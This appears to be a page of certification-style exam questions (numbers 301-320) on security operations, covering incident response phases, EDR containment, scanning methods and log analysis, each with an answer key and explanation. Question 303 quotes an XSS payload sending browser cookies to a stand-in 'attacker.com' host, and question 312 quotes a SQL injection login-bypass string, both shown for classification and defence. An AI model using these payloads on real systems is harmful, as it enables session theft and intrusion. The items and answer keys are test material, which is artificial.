Examkin

Security Operations

627 soru

Tüm türler627Çoktan seçmeli320Çoklu seçim139Eşleştirme36Sıralama132
Soru 301Soru →

A security technician is investigating an access issue where a newly transferred employee successfully signs into the corporate network using valid credentials, but is subsequently able to view restricted financial files reserved for executive roles. The technician incorrectly believed that validating the employee's login identity automatically granted permission to access all files on the file server. Which of the following operational concepts did the technician confuse?

Cevabı ve açıklamayı göster

Cevap: Authentication vs. authorization

Cevap

Authentication vs. authorization
Authentication is the operational process of proving an identity (e.g., supplying a valid username, password, or MFA token). Authorization is the process of evaluating access control lists or policies to determine what actions or data that authenticated identity is allowed to access. Assuming that successful identity verification grants access to confidential files confuses authentication with authorization.

Adım Adım Çözüm

1
Analyze the access incident described in the scenario.
The employee successfully verified their login identity, but was granted access to file resources beyond their scope of work.
Understanding the distinction between login verification and permission assignment is necessary to identify the administrative error.
2
Define the roles of authentication and authorization within Identity and Access Management operations.
Authentication confirms identity (who the user is), while authorization enforces permissions (what resources the user can access).
Valid login credentials prove identity during authentication, but authorization access rules dictate resource entitlements.
3
Match the technician's assumption to the correct concept pair.
The technician assumed identity verification automatically implies full resource permissions, confusing authentication with authorization.
Believing a valid login grants blanket file system access demonstrates a failure to differentiate authentication from authorization.

Anahtar Kavram

Distinction between Authentication and Authorization in IAM Operations
Tahmini Süre:45s
Soru 302Soru →

An enterprise Security Operations Center (SOC) analyst receives an advanced Endpoint Detection and Response (EDR) behavioral alert indicating process hollowing on a critical database server. Telemetry reveals a legitimate system binary was spawned in a suspended state, injected with code, and resumed to establish an encrypted outbound channel. Which of the following actions should the analyst perform directly through the EDR platform to manage this incident while preserving evidentiary integrity? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Apply host-level network isolation through the EDR agent while maintaining the platform's control channel.; Initiate a volatile memory capture via the EDR agent before terminating the hollowed process.

Cevap

The analyst should isolate the host using host-level network isolation via the EDR agent and capture volatile memory before terminating the hollowed process.
Applying host-level network isolation via EDR stops outbound command-and-control channels and internal lateral movement while keeping the security agent online. Capturing volatile memory before process termination ensures the analyst captures injected memory regions, unpacked code binaries, and network connection artifacts needed for complete forensic investigation.

Adım Adım Çözüm

1
Isolate the compromised host from the network using host-level EDR capabilities.
The target machine is restricted from communicating with lateral endpoints or external C2 servers while maintaining active administrative communication with the EDR server.
Host-level isolation prevents malicious network propagation while preserving analyst command capability.
2
Trigger a remote RAM acquisition via EDR telemetry functions prior to remediation.
Unencrypted payload data, hollowed memory space, and active socket information are securely captured into a forensic memory image.
Volatile memory contains critical threat indicators that are permanently lost if the process is killed or the machine is restarted.
3
Proceed with targeted process termination and threat eradication workflows.
The injected code execution is stopped, and post-forensic remediation playbooks can safely run.
Eradication must occur only after containment and volatile forensic acquisition are established.

Anahtar Kavram

Endpoint Detection and Response (EDR) Containment and Evidence Preservation Workflow
Soru 303Soru →

A security analyst is examining a real-time alert generated by a Network Intrusion Detection System (NIDS). The alert payload captures an HTTP POST request sent from an internal corporate host to an external web application:

`POST /profile/update HTTP/1.1`
`Host: portal.example.com`
`Content-Type: application/x-www-form-urlencoded`
`Data: username=user1&bio=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`

Based on the network security monitoring alert, which of the following attack types is occurring?

Cevabı ve açıklamayı göster

Cevap: Cross-Site Scripting (XSS)

Cevap

The alert indicates a Cross-Site Scripting (XSS) attack because the payload contains HTML/JavaScript code designed to run client-side scripts and steal browser cookies.
The correct answer is Cross-Site Scripting (XSS). The captured payload contains script tags (`<script>`) designed to execute malicious JavaScript within a web browser context to exfiltrate session tokens via `document.cookie`.

Adım Adım Çözüm

1
Analyze the HTTP packet payload in the NIDS alert log.
Identified HTML `<script>` tags and browser DOM manipulation (`document.cookie`).
Script tags and DOM property access are signatures of client-side code execution.
2
Differentiate between database injection and client-side script injection.
The payload targets browser execution rather than backend database syntax.
SQL injection targets database commands (e.g., SELECT, UNION), whereas XSS targets web client execution.
3
Select the matching attack classification.
Confirmed the alert represents a Cross-Site Scripting (XSS) attempt.
XSS occurs when untrusted user input containing executable script tags is accepted by a web application.

Anahtar Kavram

Identifying attack signatures in NIDS/SIEM network monitoring logs
Soru 304Soru →

Match each enterprise security assessment objective on the left with the scanning configuration or methodology best suited to satisfy it on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Detecting OS patch deficiencies on short-lived, auto-scaling cloud compute nodes without relying on periodic network sweeps
Identifying security vulnerabilities within application dependencies before software builds are pushed to production registries
Assessing authenticated user session security on a live web application without triggering automated account lockouts
Discovering active services and rogue endpoints on a sensitive SCADA/ICS network segment without sending probe traffic

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

The correct pairings match each specific enterprise constraint with its appropriate scanning methodology: assessing short-lived auto-scaling nodes requires Agent-Based Vulnerability Scanning; inspecting application libraries pre-deployment requires Static Container & Dependency Scanning; testing authenticated web applications without lockout requires Credentialed Dynamic Web Application Scanning with Throttled Authentication Scripts; and discovering assets on sensitive SCADA networks requires Passive Network Monitoring.
Each assessment methodology addresses distinct operational constraints. Agent-based scanning is ideal for ephemeral cloud workloads because the scanner software executes locally as soon as the instance boots, sending results back to a central console without needing network probe access. Static container and dependency scanning shifts security left into the software development life cycle, analyzing manifest files and container layers before software reaches production. Credentialed dynamic web scanning allows deep inspection of post-authentication application logic, but requires specific throttling rules so automated fuzzing does not trigger account lockouts. Passive network monitoring reads raw traffic copies (SPAN/TAP) to build an asset inventory on sensitive industrial SCADA networks without generating active network traffic that could cause device crashes.

Adım Adım Çözüm

1
Analyze the technical constraints and risk profiles for each enterprise deployment environment.
Identified key operational boundaries: ephemeral lifetime in cloud nodes, shift-left pipeline security for dependencies, lockout sensitivity in web apps, and system instability risks in SCADA networks.
Matching scanning methods to enterprise scenarios requires balancing coverage depth against network and operational impact.
2
Select the scanning architecture tailored to mitigate each specific operational drawback.
Local agents solve cloud host ephemerality; pipeline integration catches build defects early; throttled dynamic scanners prevent web account lockouts; passive packet capturing avoids SCADA crashes.
Each vulnerability assessment method operates at a distinct layer (host, pipeline, application layer, or passive wire level) designed for specific operational constraints.

Anahtar Kavram

Selecting and configuring vulnerability assessment methods appropriate for cloud, pipeline, web application, and operational technology (OT) environments.
Tahmini Süre:2m 30s
Soru 305Soru →

During security operations monitoring, incident responders confirm an active data exfiltration event where an internal database server is sending bulk sensitive records via covert DNS port 53 queries to an untrusted external domain. According to standard incident response lifecycle frameworks, which of the following actions represents the immediate next step the incident response team should perform?

Cevabı ve açıklamayı göster

Cevap: Isolate the compromised database host from the network and block the external destination domain at the egress firewall.

Cevap

Isolate the compromised database host from the network and block the external destination domain at the egress firewall.
Isolating the host or blocking the external destination domain directly addresses the containment phase of the incident response lifecycle. Halting the DNS tunneling channel prevents additional data loss while keeping the host available for volatile memory capture and forensic investigation.

Adım Adım Çözüm

1
Identify the current incident response phase based on the scenario.
The incident has been detected and validated as an ongoing breach (data exfiltration in progress).
Recognizing active exfiltration places the incident response team immediately into the containment phase.
2
Apply NIST SP 800-61 containment strategies to halt threat impact.
Network isolation and egress blocking immediately interrupt the exfiltration channel.
Containment limits damage to enterprise assets before forensic preservation, eradication, and recovery begin.
3
Evaluate distractors for out-of-sequence or mismatched control responses.
Actions such as host re-imaging belong to eradication/recovery, while WAF tuning misdiagnoses the DNS tunneling vector.
Standard IR playbooks strictly require containment to precede eradication and recovery.

Anahtar Kavram

Incident Response Lifecycle Containment Phase
Soru 306Soru →

An Endpoint Detection and Response (EDR) agent on a critical enterprise macOS host generates a high-priority alert indicating that an unprivileged process is attempting direct system calls to read sensitive memory structures, bypassing user-mode security hooks. Which of the following actions performed via the EDR administration console is the most appropriate immediate step to contain the incident while preserving volatile forensic evidence?

Cevabı ve açıklamayı göster

Cevap: Initiate network-level host isolation of the endpoint through the EDR console.

Cevap

Initiate network-level host isolation of the endpoint through the EDR console.
Initiating network-level host isolation via the EDR console immediately disconnects the endpoint from external network communications and internal lateral movement vectors. Crucially, host isolation allows the OS to remain powered on so security analysts can remotely collect volatile memory (RAM) and EDR telemetry for forensic investigation.

Adım Adım Çözüm

1
Identify the primary threat containment objective.
Recognize that memory manipulation attacks require stopping active malicious propagation without destroying volatile system memory.
Shutting down the host loses critical RAM artifacts needed for memory analysis.
2
Evaluate EDR containment capabilities vs legacy or network controls.
EDR host isolation places software-level network filters directly on the host interface, disabling external communications while preserving local system state and analyst management sessions.
Perimeter firewalls do not prevent local segment lateral movement, and antivirus signatures cannot stop in-memory execution.
3
Select the correct EDR workflow response.
Host isolation provides immediate containment compliant with proper incident response phase sequence.
Containment must occur before full eradication and recovery, without violating evidence preservation principles.

Anahtar Kavram

EDR Host Isolation and Telemetry Preservation
Tahmini Süre:2m 0s
Soru 307Soru →

A cybersecurity analyst is setting up a scheduled vulnerability assessment for production servers. The main requirement is to identify missing patches and misconfigurations without risking system crashes or service outages. Which scanning method should the analyst use?

Cevabı ve açıklamayı göster

Cevap: Non-intrusive vulnerability scan

Cevap

The analyst should select a non-intrusive vulnerability scan.
A non-intrusive vulnerability scan identifies security weaknesses, missing patches, and misconfigurations by inspecting version strings and configuration data without attempting to exploit the vulnerabilities. This satisfies the requirement to safely assess systems without taking production services offline.

Adım Adım Çözüm

1
Identify the primary operational constraint in the scenario.
The assessment must assess system security without causing service outages or system instability on production servers.
Production environments require safe testing methods that minimize operational downtime risks.
2
Evaluate scanning techniques against the constraint.
Non-intrusive scans query systems for version information and known flaw indicators without trying to exploit them.
Exploitation attempts are reserved for intrusive scans and penetration testing.
3
Select the appropriate scanning technique.
Choose a non-intrusive vulnerability scan as the safest assessment option.
It fulfills the requirement to identify vulnerabilities safely without risking service interruption.

Anahtar Kavram

Non-intrusive vs. Intrusive Vulnerability Scanning
Soru 308Soru →

A Security Operations Center (SOC) analyst detects an unauthorized third-party integration added to an enterprise cloud tenant, followed by bulk exfiltration of sensitive email records via an exposed OAuth 2.0 token. According to standard incident response frameworks, in what sequence should the IR team execute the following response and recovery steps?

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct order of incident response steps is: 1) Revoke the malicious OAuth 2.0 token and isolate compromised user accounts to stop ongoing exfiltration (Containment); 2) Remove the rogue third-party app integration from the cloud tenant and audit application permissions (Eradication); 3) Restore compromised account configurations, issue new credentials, and re-enable monitored email services (Recovery); 4) Conduct a post-incident review to document the timeline and update consent policies (Lessons Learned).
NIST SP 800-61 Rev 2 incident response playbooks require executing steps sequentially: Containment (revoking tokens/isolating accounts to stop damage), Eradication (deleting rogue applications to remove persistence), Recovery (restoring account configurations and services safely), and Lessons Learned (post-incident reviews to refine policy and controls).

Adım Adım Çözüm

1
Identify initial Containment actions
Revoking the active OAuth token and isolating affected accounts immediately halts unauthorized data exfiltration.
Containment is the priority operational phase immediately following detection to minimize blast radius.
2
Identify Eradication actions
Deleting the rogue OAuth application integration removes the threat actor's persistence mechanism.
Eradication eliminates root-cause vulnerabilities and malicious artifacts once active threats are contained.
3
Identify Recovery actions
Resetting credentials and re-enabling email services returns the business environment to normal baseline operation.
Recovery validates that systems are clean and monitored before restoring them to full production.
4
Identify Post-Incident / Lessons Learned actions
Documenting metrics and updating cloud consent policies hardens governance against similar attack vectors.
Lessons learned activities synthesize incident metrics to strengthen controls and update playbooks post-remediation.

Anahtar Kavram

Incident Response Lifecycle Phases (NIST SP 800-61 Rev 2 / CompTIA IR Framework)
Soru 309Soru →

A security analyst confirms that an active remote access Trojan (RAT) is running on an internal finance server and establishing outbound connections to an external command-and-control server. According to standard incident response lifecycle frameworks, which of the following actions should the analyst perform NEXT?

Cevabı ve açıklamayı göster

Cevap: Isolate the finance server from the network to halt communication with the external server.

Cevap

Isolate the finance server from the network to halt communication with the external server.
Network isolation of the affected host is the primary action during the containment phase. Following incident detection and confirmation, containment must occur immediately to prevent the attacker from exfiltrating data or expanding their reach across the network.

Adım Adım Çözüm

1
Determine the current phase of the incident response process.
An active intrusion with command-and-control traffic has been verified, transitioning the response from detection to containment.
According to standard frameworks (such as NIST SP 800-61), active threats must be contained immediately to minimize damage.
2
Select the action that restricts impact while protecting evidence.
Network isolation prevents lateral movement and exfiltration while keeping RAM and volatile storage intact for forensic collection.
Containment limits the scope of an incident prior to starting eradication or recovery steps.

Anahtar Kavram

Incident Response Phase Order (Containment First)
Tahmini Süre:1m 0s
Soru 310Soru →

A security analyst is reviewing correlated alerts in a Security Information and Event Management (SIEM) dashboard following an automated high-severity trigger. The SIEM correlated the following two sequential event log entries captured from an internal workstation within a 5-second interval:

text EventID: 4624 Source: Microsoft-Windows-Security-Auditing Time: 2026-07-27T14:22:05Z Logon Type: 3 (Network) Account Name: admin_corp Workstation Name: WS-FINANCE-04 Source Network Address: 10.0.4.112 Elevated Token: Yes EventID: 7045 Source: Service Control Manager Time: 2026-07-27T14:22:10Z User: NT AUTHORITY\SYSTEM Service Name: PSEXESVC Service File Name: %SystemRoot%\PSEXESVC.exe Image Path: C:\Windows\PSEXESVC.exe Start Type: demand start

Which of the following attack vectors is most directly indicated by this log sequence?

Cevabı ve açıklamayı göster

Cevap: Lateral movement executing remote service installation via administrative credentials

Cevap

Lateral movement executing remote service installation via administrative credentials
The combination of Event ID 4624 showing a Logon Type 3 (Network logon) with an elevated token and Event ID 7045 logged 5 seconds later showing the installation of `PSEXESVC.exe` directly indicates remote execution via PsExec. Attackers frequently leverage PsExec with stolen administrative credentials to move laterally across workstations and servers.

Adım Adım Çözüm

1
Analyze Event ID 4624 details
Identified a successful Network Logon (Logon Type 3) using an elevated account (`admin_corp`) initiated from remote host `10.0.4.112`.
Logon Type 3 indicates network authentication to host resources, such as SMB shares or administrative RPC interfaces.
2
Analyze Event ID 7045 details
Identified the installation of a new system service named `PSEXESVC` running executable `PSEXESVC.exe` under `NT AUTHORITY\SYSTEM`.
Event ID 7045 tracks new Windows service creations. `PSEXESVC` is the default service binary registered by Sysinternals PsExec during remote process execution.
3
Correlate both log events in temporal order
Confirmed network authentication followed within 5 seconds by remote service installation.
This specific log pairing is a high-confidence signature of PsExec-based lateral movement across enterprise Windows hosts.

Anahtar Kavram

Correlating Windows Security Event ID 4624 (Logon Type 3) and System Event ID 7045 (Service Installation) to detect remote administrative tool usage and lateral movement.
Soru 311Soru →

A security analyst is investigating a suspected threat actor moving laterally within an enterprise network. The edge firewall recorded no unauthorized inbound traffic, and the legacy signature-based antivirus on host endpoints reported zero malicious file detections. However, the Endpoint Detection and Response (EDR) agent flagged an active alert when a natively trusted system utility, `wmic.exe`, was executed by a parent process to delete volume shadow copies. Which of the following capabilities of EDR enabled the identification of this malicious activity?

Cevabı ve açıklamayı göster

Cevap: Continuous behavioral telemetry monitoring and process lineage tracking

Cevap

Continuous behavioral telemetry monitoring and process lineage tracking
The correct answer highlights EDR's core strength: continuously capturing process execution context, command-line arguments, and parent-child process relationships. Because `wmic.exe` is a legitimate Windows binary, legacy signature scanners mark it as clean. EDR detects the threat by analyzing the anomaly in behavioral telemetry and process lineage when an administrative tool is invoked inappropriately.

Adım Adım Çözüm

1
Analyze the attack mechanism described in the scenario
The attacker utilized a legitimate, signed system utility (`wmic.exe`) to execute a command, bypassing file-based antivirus signatures.
Living off the Land (LotL) attacks rely on native OS binaries that carry valid signatures.
2
Evaluate why perimeter and signature controls failed
Perimeter firewalls only inspect boundary network traffic, and legacy AV relies on known bad file hashes.
Valid OS utilities do not trigger file signature alerts or perimeter boundary violations.
3
Identify the specific EDR mechanism that triggered the detection alert
EDR records continuous endpoint behavioral telemetry, including process creation trees (parent-child process execution lineage).
Detecting unusual execution contexts of legitimate binaries requires analyzing process behavior and execution chains.

Anahtar Kavram

EDR Behavioral Telemetry and Process Lineage
Soru 312Soru →

A security analyst reviews an alert from a Network Intrusion Detection System (NIDS). The alert log captures an incoming HTTP request containing the payload: `http://example.com/login?user=admin' OR '1'='1'--`. Which of the following statements correctly identify the type of attack detected and an effective mitigation? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: The log entry captures a SQL injection attack targeting the backend database to bypass authentication.; Implementing parameterized queries (prepared statements) within the web application prevents this attack type.

Cevap

The alert indicates a SQL injection attack, and the proper mitigation is implementing parameterized queries in the web application code.
The payload `' OR '1'='1'--` is a classic SQL injection signature aimed at evaluating database queries to true to bypass authentication. Using parameterized queries in the application code ensures database drivers handle user inputs as parameter data rather than executable commands, rendering SQL injection ineffective.

Adım Adım Çözüm

1
Analyze the network security monitoring alert payload
Identified SQL syntax manipulation (`' OR '1'='1'--`) designed to evaluate boolean logic to true.
Recognizing command syntax patterns helps differentiate between web application attack types.
2
Match the attack pattern to the correct attack category
Confirmed the attack is SQL injection rather than client-side script execution (XSS).
SQL injection specifically targets relational database management systems integrated with web applications.
3
Identify the appropriate remediation control
Selected parameterized queries as the secure application development mitigation.
Parameterized queries ensure user input cannot modify the structure of pre-compiled SQL statements.

Anahtar Kavram

Network Intrusion Detection and Web Attack Analysis
Tahmini Süre:1m 0s
Soru 313Soru →

A digital forensic examiner receives a powered-off workstation hard drive confiscated during an insider threat investigation. The examiner needs to duplicate the physical drive onto a forensic storage unit for analysis while ensuring evidence admissibility in court. Which of the following actions should the examiner take FIRST?

Cevabı ve açıklamayı göster

Cevap: Attach the drive to a hardware write-blocker before connecting it to the forensic workstation.

Cevap

Attach the drive to a hardware write-blocker before connecting it to the forensic workstation.
Attaching the drive to a hardware write-blocker prevents any write signals from reaching the source disk, guaranteeing that no file timestamps or data blocks are altered during the acquisition phase.

Adım Adım Çözüm

1
Identify the primary requirement for disk-based evidence acquisition.
The target physical storage device must be protected against any write commands from the acquiring system.
Operating systems automatically write hidden system metadata, update access timestamps, or modify logs when storage drives are attached without hardware write protection.
2
Select the appropriate control for physical disk evidence protection.
Interpose a hardware write-blocker between the original suspect storage drive and the forensic analysis machine.
Hardware write-blockers intercept write commands at the controller layer, ensuring bit-for-bit acquisition without altering the source media.

Anahtar Kavram

Write-Blocker Utilization and Forensics Integrity
Tahmini Süre:1m 0s
Soru 314Soru →

A network administrator is configuring centralized AAA for enterprise network hardware. During testing, administrative authentication to an edge switch succeeds via TACACS+, but the user is placed into unprivileged user EXEC mode rather than privileged EXEC mode. The TACACS+ server logs confirm that primary user authentication was successful. Which of the following identity and access management operations issues is the MOST likely cause of this behavior?

Cevabı ve açıklamayı göster

Cevap: The TACACS+ authorization configuration is missing the specific Attribute-Value (AV) pair required to grant privileged shell access.

Cevap

The TACACS+ authorization configuration is missing the specific Attribute-Value (AV) pair required to grant privileged shell access.
TACACS+ separates authentication from authorization. While authentication verifies identity, authorization attributes—specifically shell Attribute-Value (AV) pairs like privilege level 15—must be explicitly returned by the server to grant elevated command execution rights.

Adım Adım Çözüm

1
Analyze TACACS+ protocol architecture principles.
Identify that TACACS+ explicitly separates Authentication, Authorization, and Accounting (AAA) functions into distinct processing phases.
Understanding AAA separation is necessary to diagnose why authentication succeeds while privilege level assignment fails.
2
Evaluate the symptom against the log entry.
The server confirms successful authentication, ruling out credential verification failure, but the client device places the user in unprivileged mode.
This indicates an authorization policy misconfiguration where privilege level attributes were omitted from the server response.
3
Identify the required TACACS+ payload component.
TACACS+ uses Attribute-Value (AV) pairs (such as service=shell and priv-lvl=15) during the authorization exchange to assign command permissions.
Without these AV pairs in the authorization response, the client device defaults to the lowest privilege execution mode.

Anahtar Kavram

TACACS+ AAA Operational Separation and Authorization Attribute Configuration
Soru 315Soru →

A security administrator is preparing to perform a credentialed vulnerability scan on internal application servers. Which of the following represent primary advantages of using a credentialed vulnerability scan instead of an unauthenticated scan? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Accurate identification of missing internal software patches and local configuration settings; Significantly lower rate of false-positive vulnerability findings in scan reports

Cevap

The correct advantages are accurate identification of missing internal software patches and local configuration settings, and a significantly lower rate of false-positive vulnerability findings in scan reports.
Credentialed (authenticated) vulnerability scans log directly into target host systems using administrative credentials. This allows the scanner to query local package management databases, inspect registry configurations, and verify exact software build numbers. As a result, credentialed scans provide precise patch visibility and drastically minimize false positives compared to unauthenticated network scans.

Adım Adım Çözüm

1
Analyze the scanning context and capability requirements
Recognize that credentialed (authenticated) scans operate with administrative access on target operating systems.
Authenticating to target systems enables direct local inspection of host resources, configuration files, and installed software registries.
2
Evaluate the benefits of credentialed access against non-credentialed access
Identify that host-level inspection yields precise patch inventory data and reduces misidentifications (false positives).
Unauthenticated scans rely on external network responses and banner grabbing, which often produce false positives when services conceal exact version information.
3
Distinguish vulnerability assessment functions from active defense and remediation tools
Rule out automatic remediation and inline network traffic blocking.
Assessment scanners focus on discovery and reporting rather than active remediation or inline network filtering.

Anahtar Kavram

Credentialed vs. Unauthenticated Vulnerability Scanning
Tahmini Süre:50s
Soru 316Soru →

An enterprise security team deployed agent-based vulnerability scanners across a hybrid environment comprising bare-metal host servers, containerized application workloads on managed Kubernetes nodes, and high-transaction database instances. During the initial operational assessment, the security team identifies two critical issues:
1. The installed host agents successfully inventory host OS packages but fail to detect software vulnerabilities existing inside running container filesystem layers.
2. Standard network-based vulnerability scans triggered against the database servers caused severe query latency and session timeouts.

Which of the following architectural modifications or scanning strategies should the security team implement to resolve both operational issues? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Integrate container image registry and CI/CD pipeline scanning to analyze container layers prior to deployment.; Configure credentialed, low-impact scanning profiles or schedule non-intrusive scans during designated maintenance windows for database targets.

Cevap

The security team should integrate container image registry and CI/CD pipeline scanning to analyze container layers prior to deployment, and configure credentialed, low-impact scanning profiles or schedule non-intrusive scans during designated maintenance windows for database targets.
Container base images and application layers are isolated from host OS package managers, requiring registry and CI/CD pipeline scanner integration to identify container vulnerabilities. Furthermore, active network scanning of high-transaction database systems can cause resource starvation and crashes; adjusting scan policy profiles to non-intrusive credentialed scans or scheduling scans during low-traffic maintenance windows mitigates operational impact.

Adım Adım Çözüm

1
Analyze container visibility limitation
Host-level vulnerability agents view the host operating system user space and kernel but do not inspect internal container image layers or containerized package managers.
Container security requires static analysis of base images during the build/registry phase (CI/CD pipeline scanning) or specialized container-aware agents.
2
Address database latency and session timeout issues caused by active scanning
Active uncredentialed network probing sends high volumes of packets and test vectors that overload database socket connections and CPU threads.
Sensitive target systems like production databases require non-intrusive credentialed scans, performance throttling, or execution during designated maintenance windows to maintain availability.
3
Evaluate alternative options
Reclassifying vulnerability types in SIEM rules or launching intrusive exploit payloads either corrupts vulnerability metrics or causes severe service outages.
Proper vulnerability management relies on accurate categorization and non-disruptive discovery methods.

Anahtar Kavram

Vulnerability Assessment in Containerized Workloads and High-Availability Infrastructure
Soru 317Soru →

A Security Operations Center (SOC) analyst receives a high-severity alert indicating that an industrial control system (ICS) building automation gateway has initiated unauthorized outbound encrypted connections to a known malicious external IP address. The analyst confirms that unauthorized administrative access occurred and malicious code is actively running on the gateway. According to the NIST Incident Response Framework, which action should the responder perform FIRST?

Cevabı ve açıklamayı göster

Cevap: Apply an isolated quarantine VLAN profile to the connected switch port to halt external communications.

Cevap

Apply an isolated quarantine VLAN profile to the connected switch port to halt external communications.
According to the NIST Incident Response Framework (SP 800-61), once an incident is detected and confirmed, responders must immediately move to the Containment phase. Placing the switch port into an isolated quarantine VLAN stops command-and-control (C2) communication and lateral movement while keeping the system powered on so volatile memory can be preserved for forensics.

Adım Adım Çözüm

1
Identify the current incident phase based on the scenario
Detection and analysis are complete; an active compromise with C2 outbound traffic is confirmed.
Once an incident is confirmed active, the immediate next phase in NIST SP 800-61 is Containment.
2
Select the proper containment strategy for an active network attack
Apply network-level isolation (quarantine VLAN) to block C2 traffic.
Network containment prevents lateral movement and external data exfiltration while preserving powered-on system state for volatile memory capture.

Anahtar Kavram

NIST Incident Response Lifecycle (Containment Phase)
Soru 318Soru →

During a threat monitoring shift, a security analyst receives an alert indicating that a built-in operating system binary (`mshta.exe`) executed an unencoded command shell directly in system memory and initiated an encrypted outbound connection to an unknown external IP address. A traditional signature-based antivirus scan on the host reports no infected files on disk. Which capability of an Endpoint Detection and Response (EDR) solution enabled the detection of this activity, and what is the most appropriate initial containment action?

Cevabı ve açıklamayı göster

Cevap: Behavioral telemetry monitoring of process interactions; isolate the affected host from the network using the EDR management console.

Cevap

Behavioral telemetry monitoring of process interactions allows the EDR system to detect fileless execution of legitimate system binaries in RAM, and software-level host isolation via the EDR console is the immediate containment action.
Behavioral telemetry monitoring tracks runtime behavior and anomalous process chains, enabling EDR tools to flag living-off-the-land attacks where native binaries behave maliciously. Performing software-level host isolation directly through the EDR console prevents lateral spread across the network while maintaining the control channel required for incident investigation.

Adım Adım Çözüm

1
Analyze the alert context and execution vector
The attack utilizes a native system binary (`mshta.exe`) running malicious code in memory without dropping files to disk, bypassing static hash-based detection.
Living-off-the-land (LotL) and fileless techniques require continuous behavioral telemetry inspection rather than traditional file scanning.
2
Identify the core EDR detection mechanism
Behavioral telemetry monitoring captures anomalous process behavior, such as a dual-purpose system tool spawning a shell and establishing outbound sockets.
EDR agents monitor API calls, process lineage, and behavioral anomalies continuously.
3
Determine the proper incident containment response
Initiate software-based host network isolation via the EDR agent console.
Host isolation blocks internal network communications to prevent lateral movement while keeping the EDR agent connected for forensic analysis.

Anahtar Kavram

Endpoint Detection and Response (EDR) Behavioral Monitoring and Host Isolation
Tahmini Süre:2m 0s
Soru 319Soru →

A Security Operations Center (SOC) analyst is reviewing an alert generated by a cloud SIEM correlation rule. The rule flagged sequential API events originating from an external IP address in an enterprise AWS CloudTrail log dump:

[
{
"eventTime": "2026-07-27T10:15:02Z",
"eventName": "ConsoleLogin",
"errorMessage": "Failed authentication",
"userIdentity": {"type": "IAMUser", "userName": "svc_deploy"},
"sourceIPAddress": "198.51.100.77"
},
{
"eventTime": "2026-07-27T10:15:18Z",
"eventName": "ConsoleLogin",
"responseElements": {"ConsoleLogin": "Success"},
"userIdentity": {"type": "IAMUser", "userName": "svc_deploy"},
"sourceIPAddress": "198.51.100.77"
},
{
"eventTime": "2026-07-27T10:16:05Z",
"eventName": "AttachUserPolicy",
"errorCode": "AccessDenied",
"errorMessage": "User is not authorized to perform: iam:AttachUserPolicy",
"userIdentity": {"type": "IAMUser", "userName": "svc_deploy"},
"sourceIPAddress": "198.51.100.77"
}
]

Based on the log snippet above, which of the following statements accurately describe the security findings from this log analysis? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: The user account successfully established identity authentication following an initial failed login attempt.; The authenticated user encountered an authorization control failure when attempting to modify IAM permissions.

Cevap

The correct findings are that the user account successfully established identity authentication following an initial failed login attempt, and that the authenticated user encountered an authorization control failure when attempting to modify IAM permissions.
The log analysis reveals two distinct events: first, identity verification (authentication) succeeded on the second attempt after an initial failure; second, the user attempted an administrative action (attaching an IAM policy) that was blocked by access control policies, resulting in an authorization failure ('AccessDenied').

Adım Adım Çözüm

1
Analyze the sequential ConsoleLogin events in the log snippet.
The first log entry shows 'Failed authentication' at 10:15:02Z, while the second log entry at 10:15:18Z shows 'Success'.
This establishes that credential identity verification (authentication) was completed on the second attempt.
2
Analyze the subsequent AttachUserPolicy event at 10:16:05Z.
The API call returned errorCode 'AccessDenied' and errorMessage 'User is not authorized to perform: iam:AttachUserPolicy'.
This confirms that while the user was authenticated, their role/account lacked authorization rights to attach IAM policies.

Anahtar Kavram

Log Analysis and SIEM Correlation across AAA Boundaries
Tahmini Süre:1m 30s
Soru 320Soru →

During a security event, an Endpoint Detection and Response (EDR) agent deployed on a critical file server detects suspicious rapid file modification patterns consistent with ransomware activity. Arrange the following EDR incident containment and response steps in the correct sequential order from first to last.

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct response sequence begins with ingesting and triaging the initial EDR alert, followed immediately by initiating agent-based network isolation to prevent lateral movement. Next, volatile memory is captured and active malicious processes are killed. Following host containment, malicious files are quarantined and modified files are remediated. Finally, a complete system integrity scan is completed before restoring network connectivity.
The standard EDR containment workflow prioritizes rapid threat isolation to prevent lateral movement, followed by volatile evidence preservation, malicious process termination, file quarantine/remediation, and finally health verification prior to restoring network access.

Adım Adım Çözüm

1
Identify and validate threat telemetry
Alert triage confirms active ransomware behavior on the endpoint.
Detection and triage must precede any intervention to verify the scope of the alert.
2
Enforce host isolation via EDR agent
The host is logically isolated from the network while preserving EDR agent management channels.
Immediate containment stops command-and-control (C2) communication and prevents lateral movement across the enterprise.
3
Dump volatile memory and terminate malicious processes
RAM artifacts are saved for forensic examination and execution of the attack payload is halted.
Capturing memory prior to process termination ensures critical volatile evidence is preserved.
4
Quarantine binaries and execute rollback remediation
Malicious code is removed and modified system files are restored from clean snapshots.
Eradication eliminates host artifacts and restores compromised assets to a known good state.
5
Validate endpoint health and un-isolate host
System cleanliness is verified and full network access is safely re-established.
Reconnection to the network should only occur after verified remediation.

Anahtar Kavram

Endpoint Detection and Response (EDR) Incident Containment Workflow
ÖncekiSayfa 16 / 32Sonraki